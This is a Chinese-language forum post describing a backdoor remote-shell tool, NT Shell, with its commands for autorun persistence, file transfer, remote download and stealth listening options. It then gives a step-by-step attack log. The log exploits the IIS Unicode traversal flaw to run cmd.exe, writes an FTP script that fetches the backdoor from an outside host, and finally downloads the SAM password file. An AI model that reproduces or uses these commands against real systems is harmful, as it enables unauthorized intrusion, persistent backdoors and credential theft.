|
发表于 2008-10-22 19:29:50
|
显示全部楼层
第二种方法,利用NT Shell 1.0 Beta
为了讲述ntshell的详细用法,我详细讲述
一、ntshell分为客户端和服务端!服务端的名称为ntshell.exe,客户端ntshel
lc.exe
二、ntshell的语法:
内建的命令都是以’?’开头,在命令行上输入’?help’可以查看命令帮助列表,命
令不分大小写。共有以下几个命令,其中由于标准的telnet不支持文件传输,因
此前两个命令就是文件互传,必须使用附带的客户端才能实现。同时虽然在文件
传输时,你可以运行其他命令,但是同一时刻只能有一个文件在传输(也就是前
一个get,put,httpget命令没完成,就不能再执行这3个命令中的任意一个),
这主要是因为我为了编程方便,而且我觉得也没必要多个文件同时传输,不过如
果有必要,以后可以考虑。
?autorun [name file "args"] --- 将本程序添加到自动运行,将检查所有已知
位
置(先是注册表);name是一个项名,file是程序名(当然也可以是其他
程序),args是程序的参数列表,一定要用""括起来。缺省是NTKernel
ntshell.exe "-w 10"。
?canceldata --- 终止刚才传输的文件
?chdir <dir> --- 更改服务器的当前目录,不加参数查看当前目录,可以是网
上邻居中的共享
?get <file> [port] --- 从服务器下载文件,可以指定使用服务器使用[port]
端口传输
?help --- 查看命令帮助列表
?httpget <host> <url> --- 从 ’host’主机上下载文件 ’url’, 必须以根’/’开
始
例如httpgethttp://192.168.0.1 / hackdir/hackprog.exe,可以没有http://
?pskill PID --- 杀死指定PID的进程
?pslist --- 列出当前系统中的所有进程,如果是guests组可能很多进程不能获
得详细信息
?put <file> [port] --- 上传文件到服务器,可以指定使用服务器使用[port]
端口传输
?quit --- 服务器端退出,相当于使用exit命令,不过如果执行
了copy con abc这样的坏内部命令,你就不能在使用exit命令
了,可以使用quit退出
?restart [<user> [pass]--- 以user身份重启动shell,不过本版本只能重起
shell,不能以指定的用户运行。原因是使用CreateProcessAsUser创建进
程时权限不足,即使原来是admin也不行
?sysinfor --- 获得系统的信息,现在只有os的简短信息
程序支持的参数为(使用’?use’参数可以查看该列表,不使用‘/?’或‘-?’来
实现是因为一旦把它留在服务器上,敌方运行该程序查看到程序功能的话,就糟
了)
ntshell [-listen Listenport] [-time Timeout] [-pass Password] [-show]
[-wait WInterval] [-until time] [-last LInterval]
-listen Listenport --- 指定监听的端口,缺省值是22
-time Timeout --- 指定超时的秒数,缺省值是180
-pass Password --- 指定连接的口令,如果含有空格,使用" "包含口
令; 缺省值是"let me in"
-show ---显示一个console窗口,用户可以通过关闭该窗口结束本程序
-wait WInterval ---在程序运行后,先等待WInterval分钟,然后监听端口
-until hour:minu --- 在程序运行后,直到hour:minu时才监听端口
-last LInterval --- 在程序监听端口后,如果LInterval分钟内没有连接,将
结束程序
最后三项是为了增加程序的隐蔽性,以避免在通常情况下使用程序发现监听的进
程
三、ntshellc的用法:
在没有连接的情况下,提示符是NTShellc>,此时可以使用以下的3个内建命令,
命令均为小写。命令可以简写。
h[elp] ---- 显示支持的命令列表
o[pen] <target> [port] ---- 与target的port进行连接,port缺省值是22
q[uit] ---- 退出本程序
程序支持的两个参数,可以使用标准的’/?’参数查看该列表。如果不提供参数将
进入NTShellc>提示符,然后可以使用open命令进行连接。
ntshellc [Target] [Port]
[Target] ---- 要连接的服务器
[Port] ---- 要连接的端口
四、实例
--NTShell使用示例
本示例仅为示范NTShell的功能与语法,因此使用unicode漏洞进行攻击试验。其
中以’//’开头的行是我的注释,其他的是程序的输出。
//在本机运行客户端,
F:/hacktool/ntshell>ntshellc
NtShell Client Program.
> Type Help to see the commands
//连接目标计算机的www服务
NTShellc>o 192.168.0.1 80
> Connect to 192.168.0.1 at Port 80 ...
> Connected with the server.
//请求一个已知的文件
GET /iissamples/default%c1%1csamples.asp /HTTP/1.0
//找不到文件,IIS4.0,应该是%1%9c,
HTTP/1.1 404 找不到对象
Server: Microsoft-IIS/4.0
Date: Sat, 10 Feb 2001 15:08:26 GMT
//再来,
NTShellc>o 192.168.0.1 80
> Connect to 192.168.0.1 at Port 80 ...
> Connected with the server.
GET /iissamples/default%c1%9csamples.asp HTTP/1.0
//行了,找到了,
HTTP/1.1 200 OK
//下面要试试,哪些web目录在和系统在同一个逻辑盘上
GET /scripts/..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
//找到了,就用它了
HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Directory of C:/Inetpub/scripts
01-01-09 02:58p <DIR> .
01-01-09 02:58p <DIR> ..
00-08-28 05:30p <DIR> proxy
00-08-28 05:30p <DIR> tools
4 File(s) 241,424 bytes
850,3XX,416 bytes free
> Connection closed
NTShellc>o 192.168.0.1 80
//拷贝cmd.exe
GET
/scripts/..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+copy+/winnt/s
ystem3
2/cmd.exe+dmc.exe
//不理它, 1 file(s) copied. 没有访问拒绝就行
HTTP/1.1 502 网关错误
Server: Microsoft-IIS/4.0
Date: Wed, 07 Feb 2001 09:47:20 GMT
Content-Length: 190
Content-Type: text/html
<head><title>CGI 运用程序中出错</title></head>
<body><h1>CGI 错误</h1>指定的 CGI 应用程序因为没有返回完整的 HTTP 标题
而运行不正
常。它返回的标题是:<p><p><pre> 1 file(s) copied.
</pre>
> Connection closed
//下面就方便了,赶紧把ntshell上传, 就使用ftp脚本吧,
GET /scripts/dmc.exe?/c+echo+open+192.168.0.45>ftp.bin
GET /scripts/dmc.exe?/c+dir
GET /scripts/dmc.exe?/c+echo+anonymous>>ftp.bin
GET /scripts/dmc.exe?/c+echo+test@test>>ftp.bin
GET /scripts/dmc.exe?/c+echo+binary>>ftp.bin--//一定要有这步,不然有的
运行不正常
GET /scripts/dmc.exe?/c+echo+get+ntshell.exe>>ftp.bin
GET /scripts/dmc.exe?/c+echo+quit>>ftp.bin
//看看文件内容写的对不对,
GET /scripts/dmc.exe?/c+type+ftp.bin
HTTP/1.1 502 网关错误
Server: Microsoft-IIS/4.0
Date: Wed, 07 Feb 2001 14:57:14 GMT
Content-Length: 232
Content-Type: text/html
<head><title>CGI 运用程序中出错</title></head>
<body><h1>CGI 错误</h1>指定的 CGI 应用程序因为没有返回完整的 HTTP 标题
而运行不正
常。它返回的标题是:<p><p><pre>open 192.168.0.45
anonymous
test@test
get ntshell.exe
quit
</pre>
> Connection closed
//好的,执行ftp
GET /scripts/dmc.exe?/c+ftp+-s:ftp.bin
GET /scripts/dmc.exe?/c+dir
Directory of C:/Inetpub/scripts
01-02-07 10:58p <DIR> .
01-02-07 10:58p <DIR> ..
98-11-11 04:04a 241,424 dmc.exe
01-02-08 12:24a XX ftp.bin
01-02-08 12:25a 53,248 ntshell.exe
00-08-28 05:30p <DIR> proxy
00-08-28 05:30p <DIR> tools
7 File(s) 294,736 bytes
854,074,368 bytes free
//执行ntshell,
GET /scripts/ntshell.exe HTTP/1.0
//ctrl+c结束这个连接,退出程序。
//再次进入
F:/hacktool/ntshell>ntshellc
NTShellc>o 192.168.0.1
> Connect to 192.168.0.1 at Port 22 ...
> Connected with the server.
let me in
Use ’net helpmsg xxx’ to see detail message of Error Code.
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
//看看它的系统,
C:/Inetpub/scripts>?sysinfor
# Operation System is Windows NT 4.0,
# Build Number:1381
# Service Pack 4
//nt4+sp4的,去看看log文件
C:/Inetpub/scripts>cd c:/winnt/system32/logfiles
C:/WINNT/system32/LogFiles>cd w3svc1
cd w3svc1
拒绝访问。
//得,还没的看,以后再说吧;
C:/WINNT/system32>cd ../repair
C:/WINNT/repair>dir
00-03-31 09:15p 3,544 sam._
//虽然有用的可能性很小,不过还是那回来试试吧,
C:/WINNT/system32>?get /winnt/repair/sam._
> download file ’sam._’ 3544 bytes complete success. |
|